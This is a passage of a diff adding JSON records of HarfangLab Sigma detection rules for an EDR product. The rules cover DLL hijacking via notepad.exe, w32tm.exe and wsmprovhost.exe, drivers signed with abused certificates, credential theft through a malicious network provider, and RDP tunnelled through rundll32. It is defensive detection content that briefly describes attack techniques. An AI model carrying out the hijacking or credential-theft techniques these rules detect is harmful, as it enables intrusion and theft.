+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1a8b04c9-09a5-479f-8bf1-4cf580c1eec9",
+  "rule_name": "DLL Hijacking via w32tm.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via w32tm.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1ab2fc0d-1160-461b-99f6-f7936f152d34",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094714Z",
+  "creation_date": "2026-03-23T11:45:34.094716Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094720Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_notepad.yml",
+  "content": "title: DLL Hijacking via notepad.exe\nid: 1ab2fc0d-1160-461b-99f6-f7936f152d34\ndescription: |\n    Detects potential Windows DLL Hijacking via notepad.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/10/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'notepad.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith:\n            - '\\cabview.dll'\n            - '\\comdlg32.dll'\n            - '\\cscobj.dll'\n            - '\\cscui.dll'\n            - '\\dataexchange.dll'\n            - '\\davclnt.dll'\n            - '\\drprov.dll'\n            - '\\explorerframe.dll'\n            - '\\mmdevapi.dll'\n            - '\\networkexplorer.dll'\n            - '\\ntlanman.dll'\n            - '\\ntshrui.dll'\n            - '\\p9np.dll'\n            - '\\propsys.dll'\n            - '\\shell32.dll'\n            - '\\structuredquery.dll'\n            - '\\windows.storage.dll'\n            - '\\windows.storage.search.dll'\n            - '\\windowscodecs.dll'\n            - '\\wpdshext.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files (x86)\\Mozilla Firefox\\'\n            - '?:\\Program Files\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Mozilla Firefox\\'\n            - '?:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1ab2fc0d-1160-461b-99f6-f7936f152d34",
+  "rule_name": "DLL Hijacking via notepad.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via notepad.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-10-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1b15c2a0-d1d2-4628-a592-e6c9c314baff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625804Z",
+  "creation_date": "2026-03-23T11:45:34.625806Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625810Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.talosintelligence.com/old-certificate-new-signature/",
+    "https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf",
+    "https://twitter.com/th3_protoCOL/status/1587823143854698497",
+    "https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass",
+    "https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html",
+    "https://twitter.com/pr0xylife/status/1595096438798696448",
+    "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware",
+    "https://twitter.com/ESETresearch/status/1594937059348992001",
+    "https://twitter.com/jaydinbas/status/1646475092006785027",
+    "https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html",
+    "https://attack.mitre.org/techniques/T1553/002/"
+  ],
+  "name": "t1553_002_driver_malicious_certificate.yml",
+  "content": "title: Driver Loaded Signed with Malicious Certificate\nid: 1b15c2a0-d1d2-4628-a592-e6c9c314baff\ndescription: |\n    Detects the loading of drivers signed with a certificate that was used by malicious actors.\n    This can be indicative of a malicious actor trying to evade EDR/AV solutions with a forged signature.\n    It is recommended to analyze the loaded driver for malicious contents.\nreferences:\n    - https://blog.talosintelligence.com/old-certificate-new-signature/\n    - https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf\n    - https://twitter.com/th3_protoCOL/status/1587823143854698497\n    - https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass\n    - https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html\n    - https://twitter.com/pr0xylife/status/1595096438798696448\n    - https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware\n    - https://twitter.com/ESETresearch/status/1594937059348992001\n    - https://twitter.com/jaydinbas/status/1646475092006785027\n    - https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html\n    - https://attack.mitre.org/techniques/T1553/002/\ndate: 2022/07/21\nmodified: 2025/12/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553.002\n    - classification.Windows.Source.DriverLoad\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: driver_load\n    product: windows\ndetection:\n    selection:\n        DriverSignatureSignerThumbprint:\n            # https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf\n            - '7C496F5FE65803A45AD7BD8DA5F59B8548E08E0A'\n            # https://twitter.com/th3_protoCOL/status/1587823143854698497\n            - 'FDD415C4B8A6983CFA982ECABB6D9A55BFD9F623'\n            # https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass\n            - 'F55B2365D9E837777B760305C78E674B686E5834'\n            # https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html\n            - 'C7939F8303CA22EFFB28246E970B13BEE6CB8043'\n            - '9E7CE1AED4A1C8A985D76BFCD65AC71BFF75430D'\n            # https://twitter.com/pr0xylife/status/1595096438798696448\n            - 'AAD723780CD440026A6CA0AA1E9D13D09F877E8F'\n            # https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware\n            - '848C69A831D3789FA2BF6D7A7C8591F80A8F7FCB'\n            - 'A8F9B64E4C5CC2AFE5E82DC3C9F44A1BDA2ED4B1'\n            - '520CD357E195B57E0BFE7AF87227F4C0737E6BDE'\n            - 'DBEB38C344441CB35FF982D1301A1C3DF992E140'\n            - '60EE3FC53D4BDFD1697AE5BEAE1CAB1C0F3AD4E3'\n            - 'AF5A136DCCED63DEFC29502FEDE9BFF7E2C16A8C'\n            - '3A1CE9C2EE30EE8D8883DFC5BF45FF0201C2AB5D'\n            # https://twitter.com/ESETresearch/status/1594937059348992001\n            - '6EF192CBD6E540F1D740D1BD96317ACAE8C6AF9D'\n            # https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/\n            - '68FF94B5C77481CC3AB10A05F3C926711C9C5F93'\n            # https://twitter.com/SquiblydooBlog/status/1660782805687865344\n            - '84F120783C24B1300ADD782414901503AF2F964A'\n            # https://twitter.com/jaydinbas/status/1646475092006785027\n            - '6ADE753659F5624D5A5D747523F07E23CAD9E65C'\n            # https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html\n            - '9EEEF1B33142106A095364DD0B2BFC8A24A2A563'\n            # https://www.virustotal.com/gui/file/56066ed07bad3b5c1474e8fae5ee2543d17d7977369b34450bd0775517e3b25c/details\n            - '0DD4552A9AABC00F61E619F4812DAFADCAA48715'\n            # https://blog.talosintelligence.com/old-certificate-new-signature/\n            - '6BC9649368643760190234FBB8395F4CACC2C9CB' # WoSign Class 3 Code Signing CA - 绍兴易游网络科技有限公司\n            - '8B91C4BA4546F16D407CEB58090E1C8D82CAF2AC' # thawte SHA256 Code Signing CA - 北京汇聚四海商贸有限公司\n            - 'FE6885F629D920DCE90FB03F0DB7B95709811C0D' # thawte SHA256 Code Signing CA - 善君 韦\n            - 'F981DB345F885899FAE9382D7D3BCAF75B1CE797' # VeriSign Class 3 Code Signing 2010 CA - Beijing Chunbai Technology Development Co., Ltd\n            - 'C61A221389C98EE2FBC0E57A62DEE5A915E6C509' # VeriSign Class 3 Code Signing 2010 CA - Fuqing Yuntan Network Tech Co.,Ltd.\n            - '7B69FF55D3C39BD7D67A10F341C1443425F0C83F' # VeriSign Class 3 Code Signing 2010 CA - Zhuhai liancheng Technology Co., Ltd.\n            - '864FD20B322E8C7CDB0D7AA69C8475F09D602C3D' # VeriSign Class 3 Code Signing 2010 CA - Baoji zhihengtaiye co.,ltd\n            - '85C58500333C98954160FCA3EE9A26B659A5F451' # VeriSign Class 3 Code Signing 2010 CA - Jiangsu innovation safety assessment Co., Ltd.\n            - 'D715230B535C8937B469632EC6158761FD18AD21' # VeriSign Class 3 Code Signing 2010 CA - Shenzhen Luyoudashi Technology Co., Ltd.\n            - 'DF788AA00EB400B552923518108EB1D4F5B7176B' # VeriSign Class 3 Code Signing 2010 CA - Beijing JoinHope Image Technology Ltd.\n            - '775141B89F48B71DADC19F13011A46E537E7029C' # Thawte Code Signing CA - NHN USA Inc.\n            # https://twitter.com/1ZRR4H/status/1699923793077055821\n            # https://bazaar.abuse.ch/sample/1fc7dbbff1ea28f00d8c32de90c2559e4aa3629d26627094e92ff111e1092875/\n            - '21A97512A2959B0E74729BE220102AEF1DCF56FD'\n            # Koi Loader\n            # https://www.virustotal.com/gui/file/a43d460e43d27df91c02292c1e7d5d7920c2b3dc3b2749b1bbc7f28657588947\n            - '2A0B1BEDF4CCC933A5FDB885EDA8211F9B258ABE'\n            # https://www.elastic.co/security-labs/abyssworker\n            - '0786E6A95B9B6FC9495F319AC2E334103AAB292F'\n            - '811500AD165F66CAD3E607CD1253A5EDC91CB4D0'\n            - 'D01B544CF4A4F901FA496BEA2B3A8F66F9583CB2'\n            - '7749BE16F266669D505684E9F002C689706C4295'\n            - '00F1435238447BBA9560E2A9A8C781861EBB15BC'\n            - 'D36A5F40D62A4CCB0CFF098D0BBFAA30257D487D'\n            - 'DA2CFA2262049049A7A2CA8FAF463669F19B8D5F'\n            - '45D2D18BCCD270185F012271C1D6B7C890BA7C02'\n            - '18760B486C35B6FF79EA5C461313DE2087353FEA'\n            # https://x.com/tangent65536/status/1914373135337701588\n            - '22EACBF575EA3FF19A6F639E80E8768405C9BDFE'\n            # https://expel.com/blog/you-dont-find-manualfinder-manualfinder-finds-you/\n            # https://www.truesec.com/hub/blog/tamperedchef-the-bad-pdf-editor\n            - '99201EEE9807D24851026A8E8884E4C40245FAC7' # GLINT SOFTWARE SDN. BHD.\n            - 'A2278EB6A438DC528F3EBFEB238028C474401BEF' # Echo Infini Sdn. Bhd.\n            - '29338264019B62D11F9C6C4B5A69B78B899B4DF6' # ECHO INFINI SDN. BHD.\n            - '17F77710C888E30917F71F7909086BCC2D131F61' # Byte Media Sdn. Bhd.\n            - '7533D9D9C5241D0E031C21304C6A3FF064F79072' # ECHO INFINI SDN. BHD.\n            - '3B5253A4853056458675B5CB1903C05BC2DBBD1B' # BLACK INDIGO LTD\n            - '76C675514EEC3A27A4E551A77ED30FBB0DC43A01' # Summit Nexus Holdings LLC\n            # https://www.virustotal.com/gui/file/f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1\n            - '9A6EE51A6A437603ACEE9ADC5F1A5F13329A7E59'\n            # https://securelist.com/honeymyte-kernel-mode-rootkit/118590/\n            # https://www.virustotal.com/gui/file/dc8b123d91a29661c92b0de3d4f06e0ca17b0633b87e45c09245d82bb84f3860\n            - '1F33285626E81F4845936C7A2A55A46F6DADA651'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1b15c2a0-d1d2-4628-a592-e6c9c314baff",
+  "rule_name": "Driver Loaded Signed with Malicious Certificate",
+  "rule_description": "Detects the loading of drivers signed with a certificate that was used by malicious actors.\nThis can be indicative of a malicious actor trying to evade EDR/AV solutions with a forged signature.\nIt is recommended to analyze the loaded driver for malicious contents.\n",
+  "rule_creation_date": "2022-07-21",
+  "rule_modified_date": "2025-12-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1b1d99a0-6099-42fb-91b2-87fead258765",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071746Z",
+  "creation_date": "2026-03-23T11:45:34.071748Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071752Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.scip.ch/en/?labs.20220217",
+    "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy",
+    "https://attack.mitre.org/techniques/T1556/008/"
+  ],
+  "name": "t1556_008_file_dropped_mpnotify.yml",
+  "content": "title: File Written to Disk by mpnotify.exe\nid: 1b1d99a0-6099-42fb-91b2-87fead258765\ndescription: |\n    Detects when a file is written to disk by the mpnotify process.\n    This may be a consequence of an attacker trying to access users' credentials using a malicious Network Provider.\n    It is recommended to investigate the content of the written file, the DLL loaded by the mpnotify process to look for unsigned libraries, as well as indicators of a Network Provider installation.\nreferences:\n    - https://www.scip.ch/en/?labs.20220217\n    - https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy\n    - https://attack.mitre.org/techniques/T1556/008/\ndate: 2023/08/08\nmodified: 2025/02/12\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1556.008\n    - attack.t1112\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.MemoryExecution\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Image|endswith: '\\mpnotify.exe'\n\n    exclusion_citrix:\n        Path:\n            - '?:\\Program Files\\Citrix\\Secure Access Client\\logs\\nsnp.txt'\n            - '?:\\Program Files (x86)\\Citrix\\Secure Access Client\\logs\\nsnp.txt'\n            - '?:\\ProgramData\\Citrix\\AGEE\\nsnp.txt'\n            - '?:\\Program Files\\Citrix\\Secure Access Client\\logs\\csa_nsnp.txt'\n            - '?:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Citrix\\AGEE\\config.js'\n\n    exclusion_dell:\n        Path: '?:\\Windows\\Temp\\14ADCEAA-576A-45E5-94B5-EE925ED3E963'\n\n    exclusion_novell:\n        # https://beta.novell.com/documentation/zenworks-2020/zen_fde_agent/data/bryok2g.html\n        Path:\n            - '*\\PBA.log'\n            - '*\\FDE.log'\n            - '?:\\Windows\\System32\\ZCredMgr.LOG'\n            - '?:\\Windows\\System32\\ZenCredManager.LOG'\n\n    exclusion_crypto_key:\n        Path:\n            - '?:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\3310a4fa6cb9c60504498d7eea986fc2_????????-????-????-????-????????????'\n            - '?:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\a398a5cd31e2b6b587ab0b426ca6dc4d_????????-????-????-????-????????????'\n            - '?:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\a398a5cd31e2b6b587ab0b426ca6dc4d_????????-????-????-????-????????????'\n\n    exclusion_f5:\n        Path: '?:\\Windows\\Temp\\f5netprov.txt'\n\n    exclusion_windhawk:\n        Path: '?:\\ProgramData\\Windhawk\\Engine\\ModsWritable\\mod-task\\\\*_slick-window-arrangement'\n\n    exclusion_zsso:\n        Path|startswith: '?:\\Windows\\Temp\\zsso\\ZCredentialManager'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1b1d99a0-6099-42fb-91b2-87fead258765",
+  "rule_name": "File Written to Disk by mpnotify.exe",
+  "rule_description": "Detects when a file is written to disk by the mpnotify process.\nThis may be a consequence of an attacker trying to access users' credentials using a malicious Network Provider.\nIt is recommended to investigate the content of the written file, the DLL loaded by the mpnotify process to look for unsigned libraries, as well as indicators of a Network Provider installation.\n",
+  "rule_creation_date": "2023-08-08",
+  "rule_modified_date": "2025-02-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1556.008"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1b3ebc5b-072e-4731-938e-df8d4ab5c802",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083394Z",
+  "creation_date": "2026-03-23T11:45:34.083397Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083401Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/",
+    "https://attack.mitre.org/techniques/T1021/001/"
+  ],
+  "name": "t1021_001_unusual_process_rdp.yml",
+  "content": "title: RDP Connection Initiated by Unusual Process\nid: 1b3ebc5b-072e-4731-938e-df8d4ab5c802\ndescription: |\n    Detects an RDP connection initiated by an unusual process.\n    Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials.\n    Attackers can proxying RDP traffic via a legitimate windows process such as RunDLL32 to reduce the exposure of their own infrastructure and evade detection.\n    It is recommended to analyze the context and user around this RDP connection to determine if this connection is the result of legitimate administrative operations.\nreferences:\n    - https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/\n    - https://attack.mitre.org/techniques/T1021/001/\ndate: 2024/02/22\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.001\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.Behavior.Tunneling\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: network_connection\ndetection:\n    selection:\n        DestinationPort: '3389'\n        ProcessOriginalFileName: 'rundll32.exe'\n        Initiated: 'true'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1b3ebc5b-072e-4731-938e-df8d4ab5c802",
+  "rule_name": "RDP Connection Initiated by Unusual Process",
+  "rule_description": "Detects an RDP connection initiated by an unusual process.\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials.\nAttackers can proxying RDP traffic via a legitimate windows process such as RunDLL32 to reduce the exposure of their own infrastructure and evade detection.\nIt is recommended to analyze the context and user around this RDP connection to determine if this connection is the result of legitimate administrative operations.\n",
+  "rule_creation_date": "2024-02-22",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1b4396df-ab50-493f-8787-8ca376e71f09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619180Z",
+  "creation_date": "2026-03-23T11:45:34.619182Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619186Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/",
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wsmprovhost.yml",
+  "content": "title: DLL Hijacking via wsmprovhost.exe\nid: 1b4396df-ab50-493f-8787-8ca376e71f09\ndescription: |\n    Detects potential Windows DLL Hijacking via wsmprovhost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wsmprovhost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DSROLE.dll'\n            - '\\mi.dll'\n            - '\\miutils.dll'\n            - '\\wsmsvc.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
